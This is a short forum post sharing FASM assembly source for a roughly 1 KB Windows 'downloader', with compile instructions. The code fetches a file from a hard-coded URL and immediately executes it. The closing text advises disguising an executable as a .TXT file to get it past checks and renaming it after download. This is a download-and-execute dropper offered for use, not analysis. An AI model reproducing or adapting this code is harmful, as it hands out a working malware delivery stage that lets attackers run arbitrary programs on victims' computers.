[FASM] Simple downloader

3kings

Newbie
Joined
Sep 14, 2008
Messages
38
Reaction score
166
Download FASM compiler from http://www.flatassembler.net/ and compile the code with "fasm program.asm program.exe" (without quotes) in your command prompt.

Code:
include '...\INCLUDE\win32ax.inc'
entry main

proc main
locals
    name  db 'a.txt',0
    temp  dd ?
endl
    invoke LocalAlloc, LPTR, MAX_PATH
    mov [temp], eax
    invoke GetTempPath, MAX_PATH, [temp]
    invoke lstrcat,[temp],addr name
    invoke lstrcpy,addr name,[temp]
    invoke URLDownloadToFile,NULL,'http://google.com/a.txt','C:\downloaded.txt',NULL,NULL
    invoke ShellExecute,0,0,'C:\downloaded.txt',0,0,SW_SHOW
    invoke ExitProcess,0
endp

data import

 library kernel32,'KERNEL32.DLL',\
         shell32, 'SHELL32.DLL',\
         urlmon32, 'URLMON.DLL'

 include '...\INCLUDE\API\kernel32.inc'
 include '...\INCLUDE\API\shell32.inc'
 import urlmon32, URLDownloadToFile, 'URLDownloadToFileA'

end data

This will download the file a.txt from website google.com/a.txt to any directory you want and run it. Please note that you can change the extension of your file to whatever you want. For example, you can change your .EXE file to say .TXT and upload it somewhere on the internet and then specify in the code that it should be renamed to .EXE after it has been downloaded.

The release executable file is only 1Kb big! The code is not completely mine but I have modified it a little bit. You can use it as it is. I have also made a C++ version but the output is bigger.
 
Back
Top